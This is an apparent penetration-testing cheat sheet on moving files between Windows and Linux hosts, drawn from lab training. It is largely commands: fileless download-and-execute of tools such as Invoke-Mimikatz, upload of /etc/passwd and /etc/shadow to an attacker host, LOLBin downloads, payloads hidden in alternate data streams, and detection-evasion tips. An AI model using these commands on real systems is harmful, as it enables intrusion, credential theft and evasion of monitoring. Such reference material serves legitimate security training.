A comprehensive, practical reference for moving files between Windows and Linux systems during administration, penetration testing, incident response, and CTF labs. Covers download and upload methods using HTTP/S, SMB, WebDAV, SCP, SFTP, FTP, TFTP, Netcat, Ncat, PowerShell, certutil, BITS, Python, PHP, Ruby, Perl, JavaScript, VBScript, Base64, OpenSSL, RDP drive sharing, Living off the Land binaries, and detection/evasion.
1. Core Concepts & Method Selection
File transfer is a core feature of any operating system, and many tools exist to achieve it. However, many of these tools may be blocked or monitored by diligent administrators. The key is understanding what protocols are permitted and what native binaries are available.
FILE TRANSFER DECISION FLOW:
──────────────────────────────────────────────────────────────────────
Need to move a file?
│
▼
┌──────────────────────────────┐
│ Is HTTP/HTTPS reachable? │ ← python3 -m http.server, curl, wget
└──────────────────────────────┘
│ yes → Use HTTP download/upload (simplest in most environments)
▼
┌──────────────────────────────┐
│ Is SMB (TCP/445) reachable? │ ← impacket-smbserver, smbclient, copy
└──────────────────────────────┘
│ yes → Use SMB share (very convenient for Windows targets)
▼
┌──────────────────────────────┐
│ Is SSH (TCP/22) available? │ ← scp / sftp
└──────────────────────────────┘
│ yes → Use SCP or SFTP (best for encrypted, large transfers)
▼
┌──────────────────────────────┐
│ Fall back: │
│ nc / socat / ftp / tftp / │ ← or base64/manual clipboard transfer
│ base64 │
└──────────────────────────────┘
Key principles:
- HTTP/HTTPS is the most common protocol allowed through firewalls. Use it first.
- A real-world threat actor script was observed trying cURL → wget → Python in order, all over HTTP. This is a good mental model for fallback priority on Linux.
- fileless methods (running in memory via pipe or IEX) avoid writing to disk, which bypasses many AV/EDR solutions.
- Always verify file integrity with MD5/SHA256 after transfer — binary corruption from text-mode tools is a common silent failure.
2. Quick Method Matrix
| Situation | Best Choice | Fallback |
|---|---|---|
| Linux download from your server | wget / curl |
Python one-liner |
| Linux upload to your server | curl -X POST / scp |
nc pipe |
| Windows download from your server | Invoke-WebRequest / WebClient |
certutil, bitsadmin |
| Windows upload to your server | SMB copy / PowerShell POST |
FTP, WebDAV |
| Secure encrypted transfer | scp / sftp / OpenSSL |
HTTPS + uploadserver |
| No HTTP tools available | SMB, nc, FTP, Base64 |
/dev/tcp (Linux) |
| Very large files | SCP, SMB, BITS, split+compress | HTTP |
| Restricted environment | Base64, hex, /dev/tcp, VBS, certutil |
RDP drive share |
| In-memory only (fileless) | curl \| bash, IEX (DownloadString) |
wget -qO- \| python3 |
| Need to bypass user agent detection | Invoke-WebRequest -UserAgent |
GfxDownloadWrapper.exe (LOLBAS) |
3. Attack/Helper Server Setup
Stand up one of these before initiating any file transfer from the target side.
Python HTTP Server
# Python 3 (most common)
python3 -m http.server 8000
# Bind to a specific interface
python3 -m http.server 8000 --bind 192.168.1.2
# Python 2
python -m SimpleHTTPServer 8000
# PHP alternative
php -S 0.0.0.0:8000
# Ruby alternative
ruby -run -ehttpd . -p8000
Python Upload Server (accepts file uploads via POST)
# Install
pip3 install uploadserver
# Start (plain HTTP)
python3 -m uploadserver
# Start with HTTPS (self-signed cert)
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
# Upload endpoint: https://<ip>/upload
Impacket SMB Server
# Anonymous (may be blocked by newer Windows)
sudo impacket-smbserver share -smb2support /tmp/smbshare
# With credentials (works around guest-access blocks)
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
WebDAV Server
# Install dependencies
sudo pip3 install wsgidav cheroot
# Start (serves /tmp as WebDAV root)
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
FTP Server
# Install
sudo pip3 install pyftpdlib
# Read-only server on port 21
sudo python3 -m pyftpdlib --port 21
# Writable server (for uploads)
sudo python3 -m pyftpdlib --port 21 --write
Netcat Listener (receive a file)
nc -lvnp 4444 > received_file
OpenSSL Server (encrypted, nc-style)
# Generate cert
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
# Serve a file
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh
4. Linux Download Methods
wget
# Basic download
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
# Background quiet download
wget -bq http://10.10.10.1:8000/tool.sh
# With HTTP credentials
wget --http-user=username --http-password=password http://10.10.10.1:8000/file
curl
# Download to file
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
# Quiet download
curl -s http://10.10.10.1:8000/tool.sh > tool.sh
# Fileless: download and pipe directly to bash
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
Python one-liners
# Python 2
python2.7 -c 'import urllib;urllib.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
# Python 3
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
Fileless downloads (execute in memory, no file on disk)
# curl piped to bash
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
# wget piped to python3
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
Note: Some payloads like
mkfifostill write temp files to disk. "Fileless" refers to the execution stage, not necessarily every stage.
Download with Bash /dev/tcp (no curl/wget needed)
# Step 1: open TCP connection to attacker server
exec 3<>/dev/tcp/10.10.10.32/80
# Step 2: send HTTP GET request
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3
# Step 3: print the response
cat <&3
Requires Bash ≥ 2.04 compiled with
--enable-net-redirections.
Base64 encode/decode (no network needed)
# On source machine: encode and print
md5sum id_rsa
cat id_rsa | base64 -w 0; echo
# On destination: paste and decode
echo -n 'LS0tLS1...' | base64 -d > id_rsa
# Verify integrity
md5sum id_rsa
5. Linux Upload Methods
curl POST upload (to uploadserver)
# Upload a single file
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' --insecure
# Upload multiple files at once
curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure
curl PUT upload (to Nginx)
curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt
SCP upload
# Upload a file
scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/
# Upload to non-standard port
scp -P 2222 /path/to/file user@10.10.10.10:/path/
# Upload a directory
scp -r /path/to/dir user@10.10.10.10:/path/
Python requests one-liner
python3 -c 'import requests; requests.post("http://192.168.49.128:8000/upload", files={"files": open("/etc/passwd","rb")})'
Stand up a web server on the target (pull from attack host)
# Python 3
python3 -m http.server
# Python 2.7
python2.7 -m SimpleHTTPServer
# PHP
php -S 0.0.0.0:8000
# Ruby
ruby -run -ehttpd . -p8000
# Then on your attack host, pull the file:
wget 192.168.49.128:8000/filetotransfer.txt
SCP upload
scp /etc/passwd user@10.10.10.10:/home/user/
6. Windows Download Methods
PowerShell — WebClient.DownloadFile
# Synchronous download
(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerView.ps1')
# Async download
(New-Object Net.WebClient).DownloadFileAsync('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1','C:\Users\Public\Downloads\PowerViewAsync.ps1')
PowerShell — DownloadString (fileless, in-memory execution)
# Execute directly from URL without touching disk
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
# Pipeline alternative
(New-Object Net.WebClient).DownloadString('https://...') | IEX
PowerShell — Invoke-WebRequest (PowerShell 3.0+)
Invoke-WebRequest https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 -OutFile PowerView.ps1
# Bypass IE first-launch error
Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX
PowerShell — Bypass untrusted SSL certificate
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
PowerShell — Proxy-aware download
$proxy = New-Object System.Net.WebProxy("http://proxy.example.com:8080")
$proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$webClient = New-Object System.Net.WebClient
$webClient.Proxy = $proxy
$webClient.DownloadFile("http://10.10.10.1:8000/payload.exe", "C:\Windows\Temp\payload.exe")
certutil
# Download via URL cache
certutil -urlcache -split -f http://10.10.10.32/nc.exe nc.exe
# Alternative syntax
certutil -verifyctl -split -f http://10.10.10.32:8000/nc.exe
Note: AMSI currently detects certutil file downloads as malicious. Use cautiously in monitored environments.
BITS / bitsadmin
:: bitsadmin (legacy command-line)
bitsadmin /transfer myJob /download /priority high "http://10.10.10.32/nc.exe" "C:\Temp\nc.exe"
# PowerShell BITS transfer
Import-Module bitstransfer
Start-BitsTransfer -Source "http://10.10.10.32:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"
# With credentials
Start-BitsTransfer -Source "http://..." -Destination "C:\..." -Authentication NTLM -Credential $cred
# Fileless-style: download, execute, then remove
Import-Module bitstransfer
Start-BitsTransfer 'http://10.10.10.32/nc.exe' $env:temp\t
$r = gc $env:temp\t
rm $env:temp\t
iex $r
PowerShell Base64 decode (no network required)
# Decode a base64 string and write as binary
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJTi..."))
# Verify MD5 hash
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
Note: Windows cmd.exe has a max string length of 8,191 characters — this method is limited for large files.
FTP download (scripted, for non-interactive shells)
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
# PowerShell FTP
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')
TFTP download (Windows 7 / Server 2008+)
:: Enable TFTP client feature
pkgmgr /iu:"TFTP"
:: Download
tftp -i 10.10.10.1 GET payload.exe
7. Windows Upload Methods
PowerShell Base64 encode and send to Netcat
# Encode file to base64 string
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
# Or use Get-FileHash for verification
Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash
# POST the base64 to a netcat listener
$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://192.168.49.128:8000/ -Method POST -Body $b64
# On attack host: catch with netcat, then decode
nc -lvnp 8000
echo <base64_data> | base64 -d -w 0 > hosts
PowerShell web upload (PSUpload.ps1)
# Download and invoke the upload script
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
# Upload file to Python uploadserver
Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts
PowerShell FTP upload
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
FTP upload (scripted)
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
8. SMB Transfers
SMB (TCP/445) is very convenient for Windows-to-Linux and Windows-to-Windows transfers. It allows native copy, xcopy, robocopy, and Copy-Item usage.
Linux: Start Impacket SMB Server
# Anonymous (may fail on newer Windows — see below)
sudo impacket-smbserver share -smb2support /tmp/smbshare
# With credentials (bypasses unauthenticated guest block)
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
Windows: Download from SMB
:: Copy directly
copy \\192.168.220.133\share\nc.exe
:: Map as drive letter (when direct copy is blocked)
net use n: \\192.168.220.133\share /user:test test
copy n:\nc.exe
Windows: Upload to SMB
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\share\
Copy-Item -Path "C:\Windows\Temp\data.txt" -Destination "\\10.10.10.1\share\"
Linux: smbclient (bidirectional)
# List shares
smbclient -L \\\\10.10.10.10 -N
# Connect and get a file
smbclient \\\\10.10.10.10\\share -N
smb: \> get file.txt
# Connect and put a file
smbclient \\\\10.10.10.10\\share -N
smb: \> put /tmp/file.txt
9. WebDAV Transfers
WebDAV is SMB over HTTP/HTTPS — useful when TCP/445 is blocked but TCP/80/443 is open.
Linux: Start WebDAV server
sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
Windows: Access WebDAV share
:: Browse the share
dir \\192.168.49.128\DavWWWRoot
:: Upload via copy
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\DavWWWRoot\
:: Or upload to a specific subfolder
copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.128\sharefolder\
Note:
DavWWWRootis a special Windows Shell keyword that connects to the WebDAV root. Use the actual subfolder name if you prefer (e.g.,\\192.168.49.128\sharefolder).Windows SMB will first try TCP/445, then fall back to HTTP/WebDAV automatically if no SMB share responds.
10. SCP and SFTP
SSH-based file copy — encrypted, reliable, and nearly always available where SSH is enabled.
Enable SSH on Linux
sudo systemctl enable ssh
sudo systemctl start ssh
netstat -lnpt | grep 22
SCP — download (pull to local)
scp user@10.10.10.10:/remote/file /local/path
scp plaintext@192.168.49.128:/root/myroot.txt .
SCP — upload (push to remote)
scp /etc/passwd user@10.10.10.10:/home/user/
scp -P 2222 /path/to/file user@10.10.10.10:/path/
scp -r /path/to/directory user@10.10.10.10:/path/
SCP — Windows to Linux
# Upload from Windows to Linux
scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip
# Download from Linux to Windows
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe
SFTP — interactive session
sftp user@10.10.10.10
# Inside the sftp prompt:
get /remote/file # download
put /local/file # upload
lcd /local/dir # change local directory
cd /remote/dir # change remote directory
ls # list remote files
Tip: Create a temporary user for transfers to avoid exposing primary credentials on remote machines.
11. Netcat and Ncat Transfers
Netcat (nc) and Ncat are versatile raw TCP tools for file transfer. Ncat is the modern rewrite by the Nmap Project with SSL, IPv6, and proxy support.
Method 1: Target listens, attacker sends
# On compromised target (listener):
nc -l -p 8000 > SharpKatz.exe
# With Ncat (auto-closes when done):
ncat -l -p 8000 --recv-only > SharpKatz.exe
# On attack host (sender):
nc -q 0 192.168.49.128 8000 < SharpKatz.exe
# With Ncat:
ncat --send-only 192.168.49.128 8000 < SharpKatz.exe
Method 2: Attacker listens, target connects (bypasses inbound firewall on target)
# On attack host (listener/sender):
sudo nc -l -p 443 -q 0 < SharpKatz.exe
sudo ncat -l -p 443 --send-only < SharpKatz.exe
# On compromised target (connects and receives):
nc 192.168.49.128 443 > SharpKatz.exe
ncat 192.168.49.128 443 --recv-only > SharpKatz.exe
Method 3: Use /dev/tcp when nc is not available on Linux
# On attack host (send file):
sudo nc -l -p 443 -q 0 < SharpKatz.exe
# On compromised target (receive without nc):
cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe
12. FTP and TFTP
Linux — Start FTP server
# Read-only (downloads only)
sudo python3 -m pyftpdlib --port 21
# Writable (uploads enabled)
sudo python3 -m pyftpdlib --port 21 --write
Linux — FTP client
ftp 10.10.10.10
# Inside ftp prompt:
user anonymous anonymous
binary # Always switch to binary mode for non-text files
put file_to_upload
get file_to_download
bye
Windows — FTP scripted (for non-interactive shells)
:: Download
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
:: Upload
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
Windows — PowerShell FTP
# Download
(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')
# Upload
(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')
TFTP (UDP, often on embedded/legacy systems)
# Linux server
atftpd --daemon --port 69 /tftp
:: Windows — enable TFTP client feature
pkgmgr /iu:"TFTP"
:: Download
tftp -i 10.10.10.1 GET payload.exe
:: Upload
tftp -i 10.10.10.1 PUT C:\Windows\Temp\data.txt
13. Base64 / Hex / Manual Transfer
Useful when network transfer is blocked or only a console/clipboard is available.
Linux Base64
# Encode (check MD5 first)
md5sum id_rsa
cat id_rsa | base64 -w 0; echo
# Decode
echo -n 'LS0tLS1...' | base64 -d > id_rsa
# Verify
md5sum id_rsa
Windows PowerShell Base64
# Encode to base64 (for exfil or manual transfer)
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\Windows\Temp\data.exe")) | Out-File -Encoding ASCII data.b64
[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
# Decode from base64
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRUdJ..."))
# Verify
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5
Windows certutil encode/decode
:: Encode file to base64 text
certutil -encode payload.exe payload.txt
:: Decode base64 text back to binary
certutil -decode payload.txt payload.exe
Hex transfer (Linux)
# Source: produce hex string
xxd -p file | tr -d '\n'
# Destination: restore from hex
echo "hexoutput" | xxd -p -r > file
Alternate Data Streams on Windows (hide data inside a file)
# Write payload into ADS of a legitimate file
Set-Content -Path "C:\Windows\Temp\legit.txt:payload.exe" -Value (Get-Content -Path "C:\Windows\Temp\payload.exe" -Raw)
# Extract from ADS
Get-Content -Path "C:\Windows\Temp\legit.txt:payload.exe" -Raw > "C:\Windows\Temp\payload.exe"
14. Transferring Files with Code
Programming languages provide flexible, often unmonitored file transfer capabilities.
Python
# Python 2 download
python2.7 -c 'import urllib;urllib.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
# Python 3 download
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'
# Python 3 upload (one-liner)
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
Full Python upload script:
import requests
URL = "http://192.168.49.128:8000/upload"
file = open("/etc/passwd", "rb")
r = requests.post(URL, files={"files": file})
PHP
# Download with file_get_contents + file_put_contents
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
# Download with fopen (streaming, lower memory)
php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
# Download and pipe to bash (fileless)
php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
Ruby
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
Perl
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'
JavaScript (Windows — cscript.exe)
Create wget.js:
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1
VBScript (Windows — cscript.exe)
Create wget.vbs:
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1
15. Protected / Encrypted File Transfer
Transferring sensitive files in plaintext over a network risks interception and IDS detection.
Windows — AES Encryption with PowerShell (Invoke-AESEncryption.ps1)
# Import the script
Import-Module .\Invoke-AESEncryption.ps1
# Encrypt a file (produces file.txt.aes)
Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt
# Decrypt
Invoke-AESEncryption -Mode Decrypt -Key "p4ssw0rd" -Path .\scan-results.txt.aes
# Encrypt a string
Invoke-AESEncryption -Mode Encrypt -Key "p@ssw0rd" -Text "Secret Text"
# Decrypt a base64 ciphertext
Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Text "LtxcRelxrDLrDB9rBD6JrfX/czKjZ2CUJkrg++kAMfs="
Use a unique, strong password for each engagement to prevent cross-client decryption if a file leaks.
Linux — OpenSSL File Encryption
# Encrypt with AES-256 and PBKDF2
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
# Decrypt
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd
OpenSSL — Encrypted transfer (nc-style)
# On Pwnbox: generate cert
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
# Serve the file
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh
# On compromised machine: download
openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh
16. Catching Files Over HTTP/S (Nginx PUT)
A clean way to receive uploaded files without a Python uploadserver.
Step-by-step: Configure Nginx for file uploads
# 1. Create upload directory
sudo mkdir -p /var/www/uploads/SecretUploadDirectory
# 2. Set ownership to www-data
sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory
# 3. Create Nginx config: /etc/nginx/sites-available/upload.conf
server {
listen 9001;
location /SecretUploadDirectory/ {
root /var/www/uploads;
dav_methods PUT;
}
}
# 4. Symlink to sites-enabled
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
# 5. Remove default config if port 80 is already taken
sudo rm /etc/nginx/sites-enabled/default
# 6. Start Nginx
sudo systemctl restart nginx.service
# 7. Check errors if any
tail -2 /var/log/nginx/error.log
# 8. Test upload
curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt
# 9. Verify file received
sudo tail -1 /var/www/uploads/SecretUploadDirectory/users.txt
Security note: Apache + PHP auto-executes PHP files, which can lead to remote code execution. Nginx does not execute PHP by default, making it safer for upload endpoints. Also verify directory listing is disabled.
17. Miscellaneous Methods (PowerShell Remoting, RDP)
PowerShell Remoting / WinRM
PowerShell Remoting (WinRM) creates HTTP (TCP/5985) and HTTPS (TCP/5986) listeners by default. Requires admin access or membership in Remote Management Users.
# Test connectivity from DC01 to DATABASE01
Test-NetConnection -ComputerName DATABASE01 -Port 5985
# Create a remote session
$Session = New-PSSession -ComputerName DATABASE01
# Copy file TO the remote session
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\
# Copy file FROM the remote session
Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session
RDP Drive Redirection
Mount a local drive into an RDP session, making files accessible via \\tsclient\.
Windows mstsc.exe:
Go to: Local Resources → More → Drives → select a drive → connect.
:: Inside the RDP session:
copy \\tsclient\C\tools\payload.exe C:\Windows\Temp\payload.exe
Linux rdesktop:
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'
Linux xfreerdp:
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
Note: The mounted drive is only accessible to the user who initiated the RDP session — other logged-on users, including those who hijack the session, cannot access it.
18. Living Off the Land (LOLBAS / GTFOBins)
Living off the Land means using trusted, pre-installed OS binaries to perform operations like download, upload, execute, and read/write files — bypassing application whitelist controls.
Resources:
- Windows (LOLBAS): https://lolbas-project.github.io/ — search /download or /upload
- Linux (GTFOBins): https://gtfobins.github.io/ — search +file download or +file upload
LOLBAS — Windows Examples
CertReq.exe (upload via POST):
:: Upload win.ini to Netcat listener
certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini
# Receive on attack host with netcat
sudo nc -lvnp 8000
Bitsadmin:
bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe
CertUtil:
certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe
GfxDownloadWrapper.exe (Intel graphics driver binary — unusual, low-detection):
GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"
GTFOBins — Linux Examples
OpenSSL (file transfer, nc-style):
# Pwnbox: generate cert and serve file
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh
# Compromised machine: download
openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh
19. Detection — Known User Agents & Signatures
Defenders can detect file transfers by monitoring HTTP user-agent strings, which vary by tool. Network IDS and SIEM tools often alert on these default signatures.
| Tool | Default User-Agent |
|---|---|
PowerShell Invoke-WebRequest |
Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0 |
WinHttpRequest |
Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) |
Msxml2.XMLHTTP |
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E) |
certutil |
Microsoft-CryptoAPI/10.0 |
| BITS | Microsoft BITS/7.8 |
Server-side detection snippets
# Invoke-WebRequest — server sees:
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0
# CertUtil — server sees:
GET /nc.exe HTTP/1.1
Cache-Control: no-cache
User-Agent: Microsoft-CryptoAPI/10.0
# BITS — server sees:
HEAD /nc.exe HTTP/1.1
User-Agent: Microsoft BITS/7.8
Command-line detection based on blacklisting is easy to bypass with case obfuscation. Whitelisting specific allowed command lines (though time-consuming to set up) is far more robust.
20. Evading Detection
Change PowerShell User-Agent
Invoke-WebRequest supports a -UserAgent parameter to impersonate common browsers.
# List all available user agents
[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name, @{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl
# Available agents: InternetExplorer, FireFox, Chrome, Opera, Safari
# Download using Chrome user agent
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"
# What the server sees after spoofing Chrome:
GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) AppleWebKit/534.6 (KHTML, Like Gecko) Chrome/7.0.500.0 Safari/534.6
Use LOLBAS / GTFOBins binaries
Trusted OS binaries are generally not flagged by AV/EDR even when used for file transfer (see Section 18). Examples: certutil, bitsadmin, GfxDownloadWrapper.exe, openssl.
Use encrypted channels
- HTTPS instead of HTTP prevents IDS from reading payload content.
- OpenSSL tunnels (see Section 15) encrypt raw TCP streams.
- SFTP/SCP are SSH-encrypted by default.
Use fileless techniques
Avoid writing to disk entirely:
# Windows: execute in memory
IEX (New-Object Net.WebClient).DownloadString('http://...')
# Linux: pipe to interpreter
curl http://... | bash
wget -qO- http://... | python3
21. Operational Notes & Safe Destinations
Common pitfalls
- Firewalls blocking inbound listeners on the target — use the "attacker listens, target connects" flow.
- AV/EDR flagging
certutil,bitsadmin, or netcat binaries. - Missing write permissions in the target directory.
- PowerShell execution policy blocking scripts — use
-ExecutionPolicy BypassorIEXto bypass. - Binary corruption if text-mode transfer is used for non-text files — always use
binarymode in FTP. - PowerShell
Invoke-WebRequestfailing with an IE first-launch error — add-UseBasicParsing. - SSL certificate validation errors — add
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}.
Safe writable destinations
Windows:
C:\Windows\Temp\
C:\Users\Public\
C:\Temp\
%APPDATA%\
Linux:
/tmp/
/dev/shm/
/var/tmp/
File integrity verification
Always verify transferred files to catch silent corruption.
# Linux
md5sum file
sha256sum file
# Windows PowerShell
Get-FileHash C:\Windows\Temp\payload.exe -Algorithm MD5
Get-FileHash C:\Windows\Temp\payload.exe -Algorithm SHA256
Compression and splitting for large files
# Compress
gzip -c file > file.gz
tar czf archive.tar.gz directory/
# Split into 5MB chunks
split -b 5M large_file part_
# Reassemble
